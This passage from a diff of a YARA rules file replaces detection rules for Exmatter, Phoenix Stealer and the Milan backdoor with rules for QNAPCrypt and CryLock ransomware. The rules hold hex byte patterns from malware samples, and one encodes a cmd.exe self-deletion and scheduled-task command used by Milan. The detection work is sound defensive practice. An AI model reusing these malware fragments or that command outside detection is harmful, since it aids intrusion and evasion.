69 c0 01 01 01 01 83 f9 20 0f 8e df 00 00 00 81 f9 80 00 00 00 0f 8c 8b 00 00 00 0f ba 25 b8 27 01 10 01 73 09 f3 aa 8b 44 24 04 8b fa c3 0f ba 25 10 20 01 10 01 0f 83 b2 00 00 00 66 0f 6e c0 66 } + $seq3 = { 8b 44 24 08 48 75 [13] be ?? 16 00 10 bb 00 10 00 10 05 [2] 00 00 2b f3 [0-3] 74 0? 8? [0-2] cf [0-4] 03 cb ?? 11 47 3b fe 72 ?? e8 ?? fd ff ff 5f 5e 5b 33 c0 40 c2 0c 00 8b ff 55 8b ec 8b 45 0c 56 57 83 f8 01 75 7c 50 e8 1c 14 00 00 59 85 c0 75 07 33 c0 e9 0e 01 00 00 e8 a6 06 00 00 85 c0 75 07 e8 32 14 00 00 eb e9 e8 af 13 00 00 ff 15 ?? 80 00 10 a3 18 b8 00 10 e8 68 12 00 00 a3 64 ac 00 10 e8 89 0c 00 00 85 c0 7d 07 e8 1f 03 00 00 eb cf e8 93 11 00 00 85 c0 7c 20 e8 12 0f 00 00 85 c0 7c 17 6a 00 e8 41 0a 00 00 59 85 c0 75 0b ff 05 60 ac 00 10 e9 a8 00 00 00 e8 a4 0e 00 00 eb c9 33 ff 3b c7 75 31 39 3d 60 ac 00 10 7e 81 ff 0d 60 ac 00 10 39 3d b4 ac 00 10 75 05 e8 d0 0b 00 00 39 7d 10 75 7b e8 77 0e 00 00 e8 bd 02 00 00 e8 a1 13 00 00 eb 6a 83 f8 02 75 59 e8 78 02 00 00 68 14 02 00 00 6a 01 e8 54 08 00 00 8b f0 59 59 3b f7 0f 84 36 ff ff ff 56 ff 35 00 a0 00 10 ff 35 7c ac 00 10 e8 d3 01 00 00 59 ff d0 85 c0 74 17 57 56 e8 b1 02 00 00 59 59 ff 15 ?? 80 00 10 83 4e 04 ff 89 06 eb 18 56 e8 3f 07 00 00 59 e9 fa fe ff ff 83 f8 03 75 07 57 e8 33 05 00 00 59 33 c0 40 5f 5e 5d c2 0c 00 6a 0c 68 d0 92 00 10 e8 ?? 15 00 00 8b f9 8b f2 8b 5d 08 33 c0 40 89 45 e4 85 f6 75 0c 39 15 60 ac 00 10 0f 84 c5 00 00 00 83 65 fc 00 3b f0 74 05 83 fe 02 75 2e a1 ?? 81 00 10 85 c0 74 08 57 56 53 ff d0 89 45 e4 83 7d e4 00 0f 84 96 00 00 00 57 56 53 e8 72 fe ff ff 89 45 e4 } condition: - uint16( 0 ) == 0x5a4d and filesize > 400KB and 4 of them + uint16( 0 ) == 0x5a4d and filesize > 10KB and 2 of ( $seq* ) } -rule ARKBIRD_SOLG_EXF_Exmatter_Nov_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_2 : FILE { meta: - description = "Detect packed Exmatter with Confuser" + description = "Detect QNAPCrypt ransomware (x64 version)" author = "Arkbird_SOLG" - id = "ddae7776-3202-50e6-b8af-0e5d15373386" - date = "2021-11-01" - modified = "2021-11-01" - reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Exmatter/EXF_Exmatter_Nov_2021_1.yara#L1-L22" + id = "8cd54646-87da-5261-82f3-68ab96549379" + date = "2021-08-11" + modified = "2021-08-12" + reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_2.yara#L1-L22" license_url = "N/A" - logic_hash = "67aaac3db488a9e28897047a7498b7a447ec63cdb6da82cb3d4217c7d615f176" - score = 50 - quality = 75 + logic_hash = "9eb3a499afbaaf2addb8ee12cc2d479ebbacd4d19cc270e995f12e83546008b4" + score = 75 + quality = 73 tags = "FILE" - hash1 = "b6bc126526e27c98a94aab16989864161db1b3a75f18bd5c72bacbdfccad7bd7" - hash2 = "8eded48c166f50be5ac33be4b010b09f911ffc155a3ab76821e4febd369d17ef" - hash3 = "325ecd90ce19dd8d184ffe7dfb01b0dd02a77e9eabcb587f3738bcfbd3f832a1" - level = "Experimental" + hash1 = "4829041c64971a0cb37d55e6ba83a57e01e76b26f3f744814b59bedbb3fefce8" + hash2 = "50470f94e7d65b50bf00d7416a9634d9e4141c5109a78f5769e4204906ab5f0b" + hash3 = "f9f5265f4c748ce0e2171915fb8edb6d967539ac46d624db8eb2586854dd0d9e" tlp = "white" - adversary = "RaaS" + adversary = "-" strings: - $s1 = { 45 38 42 44 32 35 45 33 46 35 33 34 39 39 41 43 31 39 42 44 42 34 31 45 37 36 45 38 36 38 39 37 38 39 31 31 42 43 35 41 44 46 37 36 34 33 31 38 33 45 34 38 36 33 38 32 42 44 33 42 42 44 30 30 00 35 41 41 34 30 37 35 37 33 42 34 43 36 45 43 43 41 45 35 36 44 30 46 35 43 34 33 35 34 36 32 33 39 38 43 30 41 46 42 35 33 46 36 44 36 32 33 31 44 38 39 34 44 34 44 31 41 37 46 44 36 45 30 30 00 42 33 39 46 43 34 39 41 36 31 35 36 45 37 31 35 45 38 42 39 37 41 35 30 46 44 34 35 46 45 34 36 38 37 30 37 38 44 42 44 31 45 45 43 46 46 44 39 46 38 35 31 34 30 42 35 33 31 36 45 39 32 31 30 00 44 33 30 39 45 32 43 32 30 31 43 37 35 43 43 30 38 43 35 33 36 42 41 34 30 32 31 45 41 35 37 43 45 42 34 44 30 34 34 39 32 36 30 31 36 46 46 39 39 46 45 44 45 36 31 35 34 36 31 30 41 32 31 30 00 36 43 37 35 38 36 33 43 32 46 39 38 44 37 46 41 45 33 36 45 37 44 46 43 45 38 46 31 39 45 43 39 35 41 46 30 30 43 43 42 33 44 43 39 39 39 31 38 46 42 38 43 30 42 35 38 39 42 30 42 34 35 31 30 } - $s2 = { 33 44 33 32 31 41 45 42 34 33 39 35 36 30 34 38 46 35 43 37 35 41 38 42 38 36 36 35 32 34 33 34 44 31 33 31 30 31 31 32 45 37 44 36 42 37 38 46 42 37 35 44 39 33 35 36 31 44 31 31 30 39 38 31 00 34 39 44 38 32 36 38 33 30 42 35 44 39 32 30 34 34 38 46 37 34 42 42 42 45 44 42 33 36 31 46 31 37 43 39 44 44 34 36 31 45 30 44 43 33 44 45 44 31 31 34 45 36 45 31 33 45 30 31 37 33 39 38 31 00 31 45 42 30 38 30 36 38 33 30 39 37 41 32 37 46 42 37 34 33 46 36 32 44 30 38 33 38 44 34 42 41 36 34 33 35 46 44 43 33 38 38 32 41 36 41 36 37 45 46 42 43 32 32 34 45 37 31 42 44 42 43 38 31 00 46 39 45 39 31 44 44 39 44 32 36 32 38 43 43 32 39 32 42 41 43 32 36 35 39 41 35 35 34 34 42 38 42 46 42 30 41 44 31 46 38 31 30 30 43 37 35 45 38 32 44 44 33 42 32 43 45 44 30 35 43 37 39 31 00 45 44 44 31 45 32 34 31 37 36 33 46 34 33 33 35 30 38 37 42 39 38 41 44 30 37 35 38 44 36 39 33 31 39 32 42 37 37 45 44 37 32 41 39 36 43 38 42 33 35 41 45 31 39 34 41 45 38 45 39 31 41 39 31 00 38 43 46 31 34 42 43 33 42 46 39 44 36 31 30 30 43 41 38 41 } - $s3 = "SSH_MSG_NEWKEYS" ascii - $s4 = { 35 45 46 32 31 35 39 31 38 33 32 30 41 44 38 41 46 41 41 30 32 35 33 35 35 34 36 46 34 34 33 43 38 44 30 39 46 30 41 44 35 31 33 37 45 35 32 30 33 34 32 38 38 43 37 36 39 41 43 36 42 41 44 46 00 44 36 32 45 45 38 34 39 37 41 45 34 39 35 41 33 31 31 34 35 41 37 37 41 35 43 39 44 35 35 37 30 34 43 30 38 38 33 42 30 31 35 46 45 31 41 45 39 46 44 46 46 45 32 30 38 46 31 33 46 41 45 44 46 00 31 35 32 30 33 33 46 38 33 46 37 46 41 36 36 34 35 31 39 33 42 33 32 32 43 43 42 31 36 37 32 46 30 38 39 35 36 42 36 38 43 33 38 44 31 33 32 46 32 32 37 38 46 43 46 30 46 41 30 34 44 46 45 46 00 33 41 33 36 41 46 34 41 46 30 41 31 46 45 35 37 39 35 44 42 39 39 46 41 38 44 33 39 34 46 41 32 44 38 39 30 41 32 32 35 32 38 30 41 38 41 31 35 39 41 43 37 39 46 31 45 34 38 45 45 31 38 46 46 00 44 43 37 42 45 38 33 42 33 45 46 46 38 31 45 38 43 39 45 30 36 46 37 44 37 43 31 46 34 42 44 37 33 34 46 32 30 32 30 41 34 32 34 32 39 45 32 32 41 32 36 31 42 30 45 45 45 31 36 44 31 39 46 46 } - $s5 = { 39 38 41 43 30 38 30 44 38 38 37 45 31 34 43 43 39 32 32 44 34 35 37 43 33 42 31 30 35 35 37 31 45 33 36 41 37 35 43 43 39 31 31 42 33 35 46 36 30 43 32 46 35 30 36 44 44 44 45 43 35 43 41 46 00 31 33 46 33 37 31 33 43 30 38 42 33 30 43 45 34 37 36 35 37 33 45 43 31 38 32 39 30 31 32 35 30 45 39 36 42 34 37 37 35 33 31 39 46 34 36 41 38 41 30 30 41 34 46 31 45 42 38 41 43 35 32 42 46 00 43 39 38 39 33 42 41 33 46 43 31 46 41 39 41 37 43 38 37 33 42 32 37 38 37 41 41 41 44 38 38 39 45 33 38 46 30 43 33 39 36 39 45 37 41 32 37 42 30 44 33 37 45 30 41 } - $s6 = "SSH_MSG_KEX_DH_GEX_INIT" ascii + $s1 = { 52 45 41 44 4d 45 5f 46 4f 52 5f 44 45 43 52 59 50 54 } + $s2 = { 64 48 8b 0c 25 f8 ff ff ff 48 8d 44 24 ?? 48 3b 41 10 0f 86 [2] 00 00 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 48 8b 05 [3] 00 48 83 3d [3] 00 00 0f 86 [2] 00 00 48 8b 48 08 48 8b 00 48 89 04 24 48 89 4c 24 08 e8 [3] ff 48 c7 04 24 20 00 00 00 e8 [2] 00 00 48 c7 04 24 00 00 00 00 e8 [3] ff 48 8b 44 24 20 48 89 44 24 58 48 8b 4c 24 18 48 89 8c 24 88 00 00 00 48 8b 54 24 28 48 89 54 24 60 48 } + $s3 = { 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 } + $s4 = { 64 48 8b 0c 25 f8 ff ff ff 48 [0-5] 3b ?? 10 0f 86 [2] 00 00 48 ?? ec } + $s5 = { 48 83 ec 78 48 89 6c 24 70 48 8d 6c 24 70 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8b 15 [3] 00 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [3] ff 48 8b 44 24 18 48 85 c0 0f 84 10 01 00 00 48 8b 48 28 48 8b 50 20 48 8b 40 18 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 e8 [3] ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 8b 5c 24 30 48 85 d2 0f 85 a3 00 00 00 48 8d 15 [2] 03 00 48 39 d0 0f 85 13 01 00 00 48 8b 05 [3] 00 48 8b 15 [3] 00 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 48 8b 84 24 80 00 00 00 48 89 44 24 18 48 8b 84 24 88 00 00 00 48 89 44 24 20 48 8b 84 24 90 00 00 00 48 89 44 24 28 e8 [3] ff 48 8b 44 24 38 48 8b 4c 24 40 48 8b 54 24 48 48 8b 5c 24 50 48 8b 74 24 30 48 89 b4 24 98 00 00 00 48 89 84 24 a0 00 00 00 48 89 8c 24 a8 00 00 00 48 89 94 24 b0 00 00 00 48 89 9c 24 b8 00 00 00 48 8b 6c 24 } + $s6 = { 48 81 ec 48 01 00 00 48 89 ac 24 40 01 00 00 48 8d ac 24 40 01 00 00 48 8d 7c 24 38 48 8d 35 [2] 0f 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 [3] ff 48 8b 6d 00 48 8d 05 [2] 02 00 48 89 04 24 48 8b 84 24 50 01 00 00 48 89 44 24 08 48 89 44 24 10 e8 [3] ff 48 8b 44 24 18 48 89 84 24 38 01 00 00 31 c9 eb 18 8b 54 84 38 48 8b 5c 24 30 48 8b 84 24 38 01 00 00 89 14 98 48 8d 4b 01 48 8b 94 24 50 01 00 00 48 39 d1 7d 2c 48 89 4c 24 30 90 48 8b 05 [3] 00 48 89 04 24 48 c7 44 24 08 40 00 00 00 e8 [3] ff 48 8b 44 24 10 48 83 f8 40 72 b1 eb 46 48 c7 04 24 00 00 00 00 48 89 44 24 08 48 89 54 24 10 48 89 54 24 18 e8 [3] ff 48 8b 44 24 28 48 8b 4c 24 20 48 89 8c 24 58 01 00 00 48 89 84 24 60 01 00 00 48 8b ac 24 40 01 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 600KB and 5 of them + uint32( 0 ) == 0x464C457F and filesize > 25KB and all of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Phoenix_Stealer_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_1 : FILE { meta: - description = "Detect the Phoenix Stealer" + description = "Detect QNAPCrypt ransomware (x86 version)" author = "Arkbird_SOLG" - id = "8c9df216-cbfe-51f3-a6d7-cfeb99fafbe0" - date = "2021-11-01" - modified = "2021-11-01" - reference = "https://twitter.com/3xp0rtblog/status/1455111070566207493/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Phoenix_Stealer/MAL_Phoenix_Stealer_Jun_2021_1.yara#L1-L20" + id = "fcdec43a-de70-57a2-9527-263685acc820" + date = "2021-08-11" + modified = "2021-08-12" + reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_1.yara#L1-L29" license_url = "N/A" - logic_hash = "989c2518a42201559265ce4b974b35df5c4b8365e53f789fc124ee969e747c87" + logic_hash = "4dbe5241b9f1b68a15193f3d5c7b0b5fac80208c16917b6e543ce407301f1dcf" score = 75 - quality = 75 + quality = 71 tags = "FILE" - hash1 = "5bbfeee67b9b087ed228eccdacd4a7e71d40f7f96ad869903e02d9c3b02adbe5" - hash2 = "34f78f4028c51f6340c1f4846b65252fa6686ba0a5ab8ebc35c737a8960ba43e" - hash3 = "e51de8c43034fafaa49f81e9cc955c0cf60dc9684f28d8c355baf0724710de1f" - tlp = "White" + hash1 = "551e03e17d1df9bd5b712bec7763578c01e7bffe9b93db246e36ec0a174f7467" + hash2 = "670250a169ba548c07a5066a70087e83bbc7fd468ef46199d76f97f9e7f72f36" + hash3 = "6df0897d4eb0826c47850968708143ecb9b58a0f3453caa615c0f62396ef816b" + hash4 = "fedcce505a5e307c1d116d52b3122f6484b3d25fb3c4d666fe7af087cfe85349" + tlp = "white" adversary = "-" strings: - $s1 = { 6a 16 58 0f be c8 88 85 b0 fe ff ff c7 85 d8 fe ff ff 42 73 7a 73 c7 85 dc fe ff ff 71 64 77 7b c7 85 e0 fe ff ff 38 73 6e 73 c6 85 e4 fe ff ff 00 e8 aa 73 ff ff 89 85 94 } - $s2 = "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s" ascii - $s3 = { b8 c9 11 47 00 e8 c3 c5 01 00 68 f8 d7 47 00 33 db 53 53 ff 15 cc 20 47 00 53 50 89 85 d0 fc ff ff ff 15 d0 20 47 00 85 c0 0f 85 92 02 00 00 6a 01 ff 15 8c 22 47 00 84 c0 79 f4 53 e8 e2 aa 00 00 50 e8 1e 98 00 00 8b 35 84 22 47 00 8d 85 ec fe ff ff 59 59 50 53 53 6a 1c 53 ff d6 8d 8d ec fe ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 ec fe ff ff 51 50 b9 f0 5b 48 00 e8 bf 0e 00 00 8d 85 e8 fd ff ff 50 68 04 01 00 00 ff 15 40 20 47 00 8d 8d e8 fd ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e8 fd ff ff 51 50 b9 08 5c 48 00 e8 89 0e 00 00 8d 85 e4 fc ff ff 50 53 53 6a 1a 53 ff d6 8d 8d e4 fc ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e4 fc ff ff 51 50 b9 90 5b 48 00 e8 57 0e 00 00 8b fb 89 9d dc fc ff ff 8b f3 89 bd d4 fc ff ff 89 b5 d8 fc ff ff 83 65 fc 00 33 c9 6a 16 5a 41 e8 71 05 ff ff 8b cf 89 85 e0 fc } - $s4 = { 6a 01 ff 15 98 22 47 00 85 c0 74 5d 6a 00 ff 15 a0 22 47 00 85 c0 74 51 56 6a 01 ff 15 94 22 47 00 8b f0 85 f6 74 3b 56 ff 15 38 21 47 00 8b d0 85 d2 74 27 8b ca 57 8d 79 01 8a 01 41 84 c0 75 f9 2b cf 6a 03 51 8b 0d 6c 72 48 00 52 ba 58 d7 47 00 e8 95 1b fe ff 83 c4 0c 5f 56 ff 15 64 21 47 00 } - $s5 = { 81 ec 14 02 00 00 a1 0c 50 48 00 33 c5 89 45 fc 53 56 8b d9 be 19 27 00 00 57 8b 7d 0c 83 fb ff 75 0c e8 bb eb ff ff 89 37 89 47 04 eb 17 ff 75 08 52 53 ff 15 bc 22 47 00 85 c0 8b cf 0f 95 c2 e8 b8 fe ff ff e8 98 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 75 08 81 3f 34 27 00 00 74 20 e8 80 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 0f 85 b9 00 00 00 81 3f 33 27 00 00 0f 85 ad 00 00 00 83 fb ff 75 0c e8 5b eb ff ff 89 37 e9 99 00 00 00 33 c0 89 9d f8 fd ff ff 40 89 9d fc fe ff ff 89 85 f4 fd ff ff 89 85 f8 fe ff ff 8d 85 f8 fe ff ff 6a 00 50 8d 85 f4 fd ff ff 50 6a 00 8d 43 01 50 ff 15 d8 22 47 00 8b f0 8b cf 85 f6 0f 98 c2 e8 2a fe ff ff 85 f6 78 53 83 a5 f0 fd ff ff 00 8d 85 ec fd ff ff 50 8d 85 f0 fd ff ff c7 85 ec fd ff ff 04 00 00 00 50 68 07 10 00 00 68 ff ff 00 00 53 ff 15 b0 22 47 00 8b f0 8b cf 85 f6 0f 95 c2 e8 e8 fd ff } + $s1 = { 2d 00 20 00 20 00 00 00 80 00 80 08 00 00 00 00 00 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 25 00 05 } + $s2 = { 2d 2d 2d 2d 2d 45 4e 44 20 00 00 00 00 00 00 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 } + $s3 = { 52 65 71 75 69 72 65 64 55 73 65 72 2d 41 67 65 6e 74 3a 20 25 73 0d 0a 57 77 77 2d 41 75 74 68 65 6e 74 69 63 61 74 65 5a 61 6e 61 62 61 7a 61 72 5f 53 71 75 61 72 65 0a 72 75 6e 74 69 6d 65 20 73 74 61 63 6b 3a } + $s4 = { 34 10 90 e5 80 20 9f e5 04 20 8d e5 08 10 8d e5 c8 10 9f e5 0c 10 8d e5 0a 30 a0 e3 10 30 8d e5 53 4e f8 eb 14 00 9d e5 00 10 90 e5 04 00 90 e5 00 00 50 e3 0c 00 00 da 04 00 91 e5 00 10 91 e5 04 10 8d e5 08 00 8d e5 94 00 9f e5 0c 00 8d e5 05 00 a0 e3 10 00 8d e5 15 e2 ff eb 14 00 dd e5 01 10 20 e2 84 00 9d e5 09 fe ff ea 00 00 a0 e3 00 10 a0 e3 f1 ff ff ea 0e 30 a0 e1 56 76 f9 eb fa } + $s5 = { 89 7c 24 2c 83 fe 20 19 db 89 f1 bf 01 00 00 00 d3 e7 21 df 89 fb 83 c7 ff 89 7c 24 24 83 c1 e0 89 4c 24 3c 83 f9 20 19 f6 f7 d9 89 4c 24 38 83 f9 20 19 ff 8b 4c 24 3c ba 01 00 00 00 d3 e2 21 f2 8b 4c 24 38 be 01 00 00 00 d3 ee 21 fe 09 d6 83 c3 ff 83 d6 ff 89 74 24 34 8b 54 24 44 8b 5c 24 2c 8b 7c 24 40 8b 4c 24 28 89 44 24 48 31 c0 89 44 24 30 31 c0 89 44 24 20 31 c0 89 44 24 1c } + $s6 = { 65 8b 0d 00 00 00 00 8b 89 fc ff ff ff 3b 61 08 0f 86 44 03 00 00 83 ec 58 c7 44 24 20 00 00 00 00 c7 44 24 24 00 00 00 00 8d 05 60 c3 27 08 89 44 24 20 8d 0d 28 af 31 08 89 4c 24 24 8b 0d 4c 35 4c 08 8d 15 50 e8 31 08 89 14 24 89 4c 24 04 8d 4c 24 20 89 4c 24 08 c7 44 24 0c 01 00 00 00 c7 44 24 10 01 00 00 00 e8 63 b9 ea ff 90 c7 05 94 38 4c 08 06 00 00 00 8b 05 d0 50 4d 08 85 c0 0f 85 b3 02 00 00 8d 05 1a d3 2b 08 89 05 90 38 4c 08 8b 05 a4 34 4c 08 89 04 24 8d 05 10 02 32 08 89 44 24 04 8d 05 90 38 4c 08 89 44 24 08 } + $x1 = { e8 [2] e4 ff 8b 44 24 08 89 44 24 28 8b 4c 24 0c 89 4c 24 2c 31 d2 31 db eb 18 8b 6c 24 40 83 c5 01 8b 54 24 44 83 d2 00 8b 44 24 28 8b 4c 24 2c 89 eb 39 ca 87 dd 0f ?? c3 87 dd } + $x2 = { 8b ?? 20 89 ?? 24 ff d0 8b 44 24 ?? 89 44 24 ?? 8b 4c 24 ?? 89 4c 24 ?? c7 44 24 68 65 43 68 30 c7 44 24 6c 72 61 69 78 89 ?? 24 89 ?? 24 04 e8 [2] e4 ff } + $x3 = { 74 11 90 e5 70 21 90 e5 68 31 90 e5 6c 41 90 e5 04 30 8d e5 08 40 8d e5 0c 20 8d e5 10 10 8d e5 91 5c fe eb 1c 00 9d e5 18 10 9d e5 14 30 9d e5 78 20 9d e5 40 10 82 e5 44 00 82 e5 ac b6 9f e5 00 00 9b e5 00 00 50 e3 27 06 00 1a 3c 30 82 e5 7c 02 9d e5 20 10 80 e2 1b 2e 8d e2 f9 0d fc eb 04 20 8d e2 1b 1e 8d e2 f6 0d fc eb 9e f4 ff eb 34 00 9d e5 78 30 9d e5 48 00 83 e5 7c 02 9d e5 d4 40 90 e5 d0 50 90 e5 cc 60 90 e5 04 60 8d e5 08 50 8d e5 0c 40 8d e5 fe f5 ff eb 10 00 9d e5 78 30 9d e5 4c 00 83 e5 04 00 8d e5 7c 02 9d e5 c0 40 80 e2 08 40 8d e5 8c fa ff eb 0c 00 9d e5 18 30 9d e5 10 40 9d e5 14 50 9d e5 78 60 9d e5 50 00 86 e5 14 b6 9f e5 00 00 9b e5 00 } + $x4 = { d0 00 8d e5 05 00 53 e3 a0 05 00 1a 00 30 d2 e5 68 00 53 e3 9a 05 00 1a 01 30 d2 e5 74 00 53 e3 94 05 00 1a 02 30 d2 e5 74 00 53 e3 8e 05 00 1a 03 30 d2 e5 70 00 53 e3 88 05 00 1a 04 20 d2 e5 73 00 52 e3 82 05 00 1a 9c 22 9d e5 54 30 92 e5 00 00 53 e3 72 04 00 0a 00 00 51 e3 6a 04 00 1a b4 12 9d e5 b8 32 9d e5 54 70 92 e5 58 07 9f e5 } + $x5 = { 55 6e 61 62 6c 65 20 74 6f 20 63 72 65 61 74 65 20 70 69 64 20 66 69 6c 65 20 3a 20 25 76 } + $x6 = { 53 61 76 65 20 63 75 72 72 20 50 49 44 20 25 64 } condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and 4 of ( $s* ) + uint32( 0 ) == 0x464C457F and filesize > 25KB and 3 of ( $s* ) and 2 of ( $x* ) } -rule ARKBIRD_SOLG_MAL_Milan_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Crylock_July_2021_1 : FILE { meta: - description = "Detect Milian backdoor used by Hexane group (aka Siamesekitten)" + description = "Detect CryLock ransomware (ex-Cryakl)" author = "Arkbird_SOLG" - id = "34acac5a-6090-5a68-9afb-4da7073bed58" - date = "2021-08-18" - modified = "2021-08-19" - reference = "https://www.clearskysec.com/siamesekitten/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Milan_Aug_2021_1.yara#L1-L22" + id = "350bd622-f4b5-5837-a239-dc506b100aef" + date = "2021-07-17" + modified = "2021-07-17" + reference = "https://twitter.com/BushidoToken/status/1415958829318217730" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-16/Crylock/RAN_Crylock_July_2021_1.yara#L1-L23" license_url = "N/A" - logic_hash = "bad8ae2a9275bcb6e0e903fda6a128a1bed676c8e1a8e653e9fc3467766ce7fc" + logic_hash = "4f5046a64e7491085a55d8d1f2b5b056dc0aa89fcdea47652ecb7db680de2f59" score = 75 - quality = 75 + quality = 65 tags = "FILE" - hash1 = "b46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249" - hash2 = "4f1b8c9209fa2684aa3777353222ad1c7716910dbb615d96ffc7882eb81dd248" + hash1 = "a962501ea4cd363dd588c948ff8b0ab24aa4132ff58f4a7806af06efa3b791ef" + hash2 = "1c2975dd464d014502a46ba6383943c7de4635e3664011653217dc424d53f8fe" + hash3 = "e001f6a5b2d4d2659b010fb5825eb4383e8f415861a244329bc70cfcd18da507" tlp = "White" - adversary = "Hexane" + adversary = "RAAS" strings: - $c1 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 64 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 77 00 61 00 69 00 74 00 66 00 6f 00 72 00 20 00 61 00 20 00 34 00 20 00 26 00 20 00 63 00 6f 00 70 00 79 00 20 00 22 00 25 00 73 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 52 00 75 00 6e 00 20 00 2f 00 54 00 4e 00 20 00 22 } - $c2 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 72 00 6d 00 64 00 69 00 72 00 20 00 2f 00 73 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 74 00 6e } - $s1 = { 2d 2d 2d 2d 2d 2d [1-8] 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f } - $s2 = { 5b 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 28 00 25 00 64 00 29 00 5d } - $s3 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 2d 00 2d 00 2d 00 2d} - $s4 = { 8d 8d 7c ee ff ff 51 6a 00 6a 00 50 ff 15 ?? b2 4b 00 85 c0 0f 84 a9 0f 00 00 8d 85 e0 fb ff ff 50 e8 ?? e0 ff ff 59 50 8d 85 e0 fb ff ff 50 8d 4b 20 e8 [2] 00 00 6a 00 ff b5 94 ee ff ff 8d 85 e0 fb ff ff 50 ff 33 ff 15 ?? b2 4b 00 8b d0 89 95 e8 ee ff ff 85 d2 0f 84 65 0f 00 00 6a 02 5e 33 c9 b8 00 00 80 00 39 b5 88 ee ff ff 0f 44 c8 83 bd 94 ef ff ff 08 51 8d 85 80 ef ff ff 0f 43 85 80 ef ff ff 33 c9 51 51 51 ff b5 a8 ee ff ff 50 52 ff 15 ?? b2 4b 00 8b f0 89 b5 48 ef ff ff 85 f6 0f 84 fb 0e 00 00 80 7b 04 00 8b 3d ?? b2 4b 00 75 23 6a 02 58 39 85 88 ee ff ff 75 18 6a 04 8d 85 20 ef ff ff c7 85 20 ef ff ff 00 31 00 00 50 6a 1f 56 ff d7 c6 85 47 ef ff ff 00 33 c9 c7 85 f0 ee ff ff 18 00 00 00 8b c1 41 89 8d 20 ef ff ff 83 f8 03 0f 83 88 0e 00 00 83 bb d8 00 00 00 00 76 31 8d 83 c8 00 00 00 83 78 14 08 72 02 8b 00 68 00 00 00 01 ff b3 d8 00 00 00 